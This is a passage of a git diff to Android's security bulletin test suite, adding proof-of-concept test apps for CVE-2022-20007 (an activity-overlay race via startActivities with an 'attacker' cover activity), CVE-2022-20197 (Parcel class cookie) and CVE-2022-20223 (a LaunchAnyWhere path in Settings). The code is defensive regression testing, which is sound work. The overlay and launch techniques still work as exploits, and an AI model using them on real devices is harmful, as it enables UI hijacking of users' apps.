name="resultKey2">result2</string> + <string name="sharedPreferences">SharedPreferences</string> + <string name="testAppPackage">android.security.cts.CVE_2022_20007</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java new file mode 100644 index 00000000000..867da1c4ce2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20007_second; + +import android.app.Activity; +import android.content.Context; +import android.content.SharedPreferences; +import android.os.Bundle; + +public class SecondPocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + } + + @Override + protected void onResume() { + super.onResume(); + setSharedPreferenes(getResources().getInteger(R.integer.fail)); + } + + @Override + protected void onPause() { + super.onPause(); + setSharedPreferenes(getResources().getInteger(R.integer.pass)); + } + + void setSharedPreferenes(int result) { + try { + Context testAppContext = createPackageContext(getString(R.string.testAppPackage), + Context.CONTEXT_IGNORE_SECURITY); + SharedPreferences sh = testAppContext.getSharedPreferences( + getString(R.string.sharedPreferences), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey2), result); + edit.commit(); + } catch (Exception e) { + // ignore exception here + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp index 713c0ed6500..0633c692d2a 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp @@ -32,6 +32,7 @@ android_test_helper_app { static_libs: [ "androidx.test.core", "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", ], sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml index ea78d62cdb1..c5dd6b5e9ac 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml @@ -17,13 +17,15 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.security.cts.CVE_2022_20007" + android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid" android:versionCode="1" android:versionName="1.0"> <application android:label="CVE-2022-20007" + android:process="android.security.cts.CVE_2022_20007" android:supportsRtl="true"> <activity - android:name=".PocActivity" + android:name=".FirstPocActivity" android:exported="true"> </activity> <activity diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml index 26b15c29414..bdb37757898 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml @@ -17,6 +17,9 @@ <resources> <integer name="assumptionFailure">-1</integer> - <integer name="pass">0</integer> <integer name="fail">1</integer> + <integer name="pass">0</integer> + <integer name="permitCount">2</integer> + <integer name="threeActivities">3</integer> + <integer name="twoActivities">2</integer> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml index 1368bc206a9..e9910b70037 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml @@ -17,14 +17,22 @@ <resources> <string name="assumptionFailureMessage"> - Assumption failure occurred. + Assumption failure occurred. Bounds : </string> + <string name="attackerActivity">PocAttackerActivity</string> + <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string> + <string name="boundsNotEqualMessage">Activity bounds are not equal</string> + <string name="dumpsysCmd">dumpsys activity %1$s</string> <string name="failMessage"> Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause - Not-Paused Background Activity + Not-Paused Background Activity. Bounds : </string> + <string name="mBounds">mBounds</string> <string name="messageKey">message</string> - <string name="passMessage">Pass</string> + <string name="numActivities">numActivities</string> <string name="resultKey">result</string> + <string name="resultKey2">result2</string> + <string name="secondActivity">SecondPocActivity</string> + <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string> <string name="sharedPreferences">SharedPreferences</string> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java index 925da1ce80b..d4828b868b5 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java @@ -17,18 +17,22 @@ package android.security.cts.CVE_2022_20007; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static org.junit.Assert.assertNotEquals; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertFalse; import static org.junit.Assume.assumeNoException; import static org.junit.Assume.assumeNotNull; import static org.junit.Assume.assumeTrue; -import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.util.Log; import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; import org.junit.Test; import org.junit.runner.RunWith; @@ -39,6 +43,13 @@ import java.util.concurrent.TimeUnit; @RunWith(AndroidJUnit4.class) public class DeviceTest { private Context mContext = getApplicationContext(); + private UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + private boolean mIsVulnerable = true; + private boolean mIsVulnerable2 = true; + private String mFirstPocActivityBounds = ""; + private String mSecondPocActivityBounds = ""; + private String mPocAttackerActivityBounds = ""; + private SharedPreferences mSharedPrefs = null; String getStringRes(int key) { return mContext != null ? mContext.getResources().getString(key) : null; @@ -48,44 +59,115 @@ public class DeviceTest { return mContext != null ? mContext.getResources().getInteger(key) : null; } - @Test - public void testRaceCondition() throws Exception { - final long timeoutSec = 20L; - assumeNotNull(mContext); + String getBounds(String activityName) throws Exception { + String output = + mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName)); + output = output.substring(output.indexOf(getStringRes(R.string.mBounds)), + output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1); + return output; + } + + void launchMainActivity(int numActivities) { final Intent intent = new Intent(mContext, PocMainActivity.class); - intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); + intent.putExtra(getStringRes(R.string.numActivities), numActivities); + mContext.startActivity(intent); + } + + void checkResult(String key) { + int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure)); + assumeTrue( + getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + result != getIntegerRes(R.integer.assumptionFailure)); + assertFalse( + getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + mIsVulnerable && result == getIntegerRes(R.integer.fail)); + } + + @Test + public void testRaceCondition() { + final long timeoutSec = 30L; try { - mContext.startActivity(intent); - } catch (ActivityNotFoundException e) { - assumeNoException(e); - } - SharedPreferences sharedPrefs = mContext.getSharedPreferences( - getStringRes(R.string.sharedPreferences), Context.MODE_APPEND); - assumeNotNull(sharedPrefs); - final Semaphore preferenceChanged = new Semaphore(0); - OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { - @Override - public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { - if (key.equals(getStringRes(R.string.resultKey))) { - if (sharedPreferences.getInt(key, - getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( - R.integer.pass)) { - preferenceChanged.release(); + assumeNotNull(mContext); + launchMainActivity(getIntegerRes(R.integer.twoActivities)); + mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences), + Context.MODE_APPEND); + assumeNotNull(mSharedPrefs); + final Semaphore preferenceChanged = new Semaphore(0); + final Semaphore preferenceChanged2 = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, + String key) { + if (key.equals(getStringRes(R.string.resultKey))) { + if (sharedPreferences.getInt(key, + getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( + R.integer.pass)) { + preferenceChanged.release(); + mIsVulnerable = false; + } + } else if (key.equals(getStringRes(R.string.resultKey2))) { + if (sharedPreferences.getInt(key, + getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( + R.integer.pass)) { + preferenceChanged2.release(); + mIsVulnerable2 = false; + } } } - } - }; - sharedPrefs.registerOnSharedPreferenceChangeListener(listener); - try { + }; + mSharedPrefs.registerOnSharedPreferenceChangeListener(listener); preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS); - } catch (InterruptedException e) { + + // Check if attacker activity is able to overlay victim activity + mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName()); + String attackerActivityName = getStringRes(R.string.attackerPkg) + "/." + + getStringRes(R.string.attackerActivity); + mPocAttackerActivityBounds = getBounds(attackerActivityName); + Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds); + Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds); + boolean isValidConfiguration = + mFirstPocActivityBounds.equals(mPocAttackerActivityBounds); + if (isValidConfiguration) { + checkResult(getStringRes(R.string.resultKey)); + } else { + // Device might have 2 task display areas. Detect vulnerability in this case. + mDevice.pressHome(); + assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec)); + mIsVulnerable = true; + mIsVulnerable2 = true; + launchMainActivity(getIntegerRes(R.integer.threeActivities)); + preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec, + TimeUnit.SECONDS); + preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS); + + // check if attacker activity is able to overlay any of the victim activities + mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName()); + String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/." + + getStringRes(R.string.secondActivity); + mSecondPocActivityBounds = getBounds(secondActivityName); + mPocAttackerActivityBounds = getBounds(attackerActivityName); + Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds); + Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds); + Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds); + isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds); + boolean isValidConfiguration2 = + mSecondPocActivityBounds.equals(mPocAttackerActivityBounds); + assumeTrue( + getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + isValidConfiguration || isValidConfiguration2); + + if (isValidConfiguration) { + checkResult(getStringRes(R.string.resultKey)); + } else { + checkResult(getStringRes(R.string.resultKey2)); + } + } + } catch (Exception e) { assumeNoException(e); } - int result = sharedPrefs.getInt(getStringRes(R.string.resultKey), - getIntegerRes(R.integer.assumptionFailure)); - String message = sharedPrefs.getString(getStringRes(R.string.messageKey), - getStringRes(R.string.assumptionFailureMessage)); - assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure)); - assertNotEquals(message, result, getIntegerRes(R.integer.fail)); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java index 038335e8711..c89986b9eaf 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java @@ -21,29 +21,35 @@ import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; -public class PocActivity extends Activity { +public class FirstPocActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - setSharedPreferenes(getResources().getInteger(R.integer.fail), - getString(R.string.failMessage)); + } + + @Override + protected void onResume() { + super.onResume(); + setSharedPreferenes(getResources().getInteger(R.integer.fail)); } @Override protected void onPause() { super.onPause(); - setSharedPreferenes(getResources().getInteger(R.integer.pass), - getString(R.string.passMessage)); + setSharedPreferenes(getResources().getInteger(R.integer.pass)); } - void setSharedPreferenes(int result, String message) { - SharedPreferences sh = - getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE); - SharedPreferences.Editor edit = sh.edit(); - edit.putInt(getString(R.string.resultKey), result); - edit.putString(getString(R.string.messageKey), message); - edit.commit(); + void setSharedPreferenes(int result) { + try { + SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.commit(); + } catch (Exception e) { + // ignore exception here + } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java index 7a4e841f6fd..94de7f09a60 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java @@ -17,7 +17,6 @@ package android.security.cts.CVE_2022_20007; import android.app.Activity; -import android.content.ActivityNotFoundException; import android.content.ComponentName; import android.content.Context; import android.content.Intent; @@ -30,30 +29,48 @@ public class PocMainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - launchAttack(); - } - - public void launchAttack() { - String testPkgName = getPackageName(); - final Intent coverIntent = new Intent(); - coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker", - "android.security.cts.CVE_2022_20007_attacker.PocActivity")); - coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | - Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK); - final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class); - victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); - Intent[] intents = {victimIntent, coverIntent}; try { - startActivities(intents); - } catch (ActivityNotFoundException e) { - SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), - Context.MODE_PRIVATE); - SharedPreferences.Editor edit = sh.edit(); - edit.putInt(getString(R.string.resultKey), - getResources().getInteger(R.integer.assumptionFailure)); - edit.putString(getString(R.string.messageKey), - getString(R.string.assumptionFailureMessage)); - edit.commit(); + String testPkgName = getPackageName(); + final Intent coverIntent = new Intent(); + coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg), + getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity))); + coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK + | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); + final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class); + victimIntent + .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); + int numActivities = getIntent().getIntExtra(getString(R.string.numActivities), + /* default */ getResources().getInteger(R.integer.twoActivities)); + if (numActivities == getResources().getInteger(R.integer.twoActivities)) { + Intent[] intents = {victimIntent, coverIntent}; + startActivities(intents); + } else { + final Intent secondVictimIntent = new Intent(); + secondVictimIntent.setComponent(new ComponentName( + getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg) + + "." + getString(R.string.secondActivity))); + secondVictimIntent.setFlags( + Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); + startActivity(victimIntent); + + // wait to prevent both the victim activities from getting launched on same display + Thread.sleep(5000); + Intent[] intents2 = {secondVictimIntent, coverIntent}; + startActivities(intents2); + } + } catch (Exception e) { + try { + SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), + getResources().getInteger(R.integer.assumptionFailure)); + edit.putString(getString(R.string.messageKey), + getString(R.string.assumptionFailureMessage)); + edit.commit(); + } catch (Exception ex) { + // ignore exception here + } } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp new file mode 100644 index 00000000000..582076e2d23 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20197", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.core", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml new file mode 100644 index 00000000000..3ea2a62f7bc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2022_20197"> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2022_20197" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml new file mode 100644 index 00000000000..c9a9407b3da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string> + <string name="stringObj">CVE_2022_20197</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java new file mode 100644 index 00000000000..a7b56187d47 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20197; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNull; +import static org.junit.Assume.assumeNoException; + +import android.app.PendingIntent; +import android.content.res.Resources; +import android.os.Parcel; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testParcel() { + try { + Resources resources = getApplicationContext().getResources(); + Parcel parcel = Parcel.obtain(); + Object cookie = (Object) resources.getString(R.string.stringObj); + parcel.setClassCookie(PendingIntent.class, cookie); + parcel.recycle(); + Object value = parcel.getClassCookie(PendingIntent.class); + assertNull(resources.getString(R.string.vulnerableMsg), value); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml index 6257834e8fa..4a250ceda12 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml @@ -15,16 +15,18 @@ limitations under the License. --> <resources> - <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string> + <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string> + <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string> + <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string> <string name="messageKey">message</string> <string name="resType">string</string> <string name="sharedPreferences">SharedPreferences</string> + <string name="shutdownMsgResId">shutdown_confirm</string> <string name="testFailMsg"> Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package check </string> <string name="textResId">user_restrictions_title</string> <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string> - <string name="uriData">tel:555-TEST</string> <string name="userName">CVE_2022_20223_RestrictedUser</string> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java index e47e593f31a..92b1df205bf 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java @@ -24,10 +24,10 @@ import static org.junit.Assume.assumeTrue; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; +import android.content.pm.PackageManager; import android.content.res.Resources; import android.os.Bundle; import android.provider.Settings; -import android.telecom.TelecomManager; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; @@ -43,10 +43,11 @@ public class DeviceTest { private static final int TIMEOUT_MS = 20000; private UiDevice mDevice; private Context mContext; + private PackageManager mPackageManager; - private String getDefaultDialerPackage() { - TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class); - return telecomManager.getSystemDialerPackage(); + boolean isTV() { + return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) + || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK); } // Wait for UiObject to appear and click on the UiObject if it is visible @@ -63,47 +64,77 @@ public class DeviceTest { try { mDevice = UiDevice.getInstance(getInstrumentation()); mContext = getInstrumentation().getContext(); + mPackageManager = mContext.getPackageManager(); + if (isTV()) { + Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); - Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); - intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); - mContext.startActivity(intent); + // Click on text "Allowed apps" + String settingsPackageName = + intent.resolveActivity(mPackageManager).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(settingsPackageName); + String text = res.getString( + res.getIdentifier(mContext.getString(R.string.allowAppsTextResId), + mContext.getString(R.string.resType), settingsPackageName)); + BySelector selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); - BySelector selector = By.text(mContext.getString(R.string.userName)); - assumeTrue( - mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)), - clickUiObject(selector)); + // Click on text "Customize restrictions" + text = res.getString(res.getIdentifier( + mContext.getString(R.string.customizeRestrictionsTextResId), + mContext.getString(R.string.resType), settingsPackageName)); + selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + } else { + Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); - String settingsPackageName = - intent.resolveActivity(mContext.getPackageManager()).getPackageName(); - Context settingsContext = mContext.createPackageContext(settingsPackageName, - Context.CONTEXT_IGNORE_SECURITY); - Resources res = settingsContext.getPackageManager() - .getResourcesForApplication(settingsPackageName); - String text = settingsContext - .getString(res.getIdentifier(mContext.getString(R.string.textResId), - mContext.getString(R.string.resType), settingsPackageName)); - selector = By.text(text); - assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + // Click on text "CVE_2022_20223_RestrictedUser" + BySelector selector = By.text(mContext.getString(R.string.userName)); + assumeTrue(mContext.getString(R.string.timedOutMsg, + mContext.getString(R.string.userName)), clickUiObject(selector)); - selector = By.res(mContext.getString(R.string.appSettingsIconResId)); - assumeTrue( - mContext.getString(R.string.timedOutMsg, - mContext.getString(R.string.appSettingsIconResId)), - clickUiObject(selector)); + // Click on text "App & content access" + String settingsPackageName = + intent.resolveActivity(mPackageManager).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(settingsPackageName); + String text = + res.getString(res.getIdentifier(mContext.getString(R.string.textResId), + mContext.getString(R.string.resType), settingsPackageName)); + selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings" + selector = By.res( + mContext.getString(R.string.appSettingsIconResId, settingsPackageName)); + assumeTrue( + mContext.getString(R.string.timedOutMsg, mContext + .getString(R.string.appSettingsIconResId, settingsPackageName)), + clickUiObject(selector)); + } + // Check if ShutDown activity is launched indicating presence of vulnerability + String androidPackageName = + PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(androidPackageName); + String text = + res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId), + mContext.getString(R.string.resType), androidPackageName)); assertFalse(mContext.getString(R.string.testFailMsg), - mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS)); + mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS)); } catch (Exception e) { assumeNoException(e); } finally { try { + // Check occurrence of any exception in PocBroadcastReceiver SharedPreferences sharedPrefs = mContext.getSharedPreferences( mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND); String assumptionFailure = sharedPrefs.getString(mContext.getString(R.string.messageKey), null); assumeTrue(assumptionFailure, assumptionFailure == null); } catch (Exception e) { - assumeNoException(e); + // Ignore exceptions here } } } diff --git 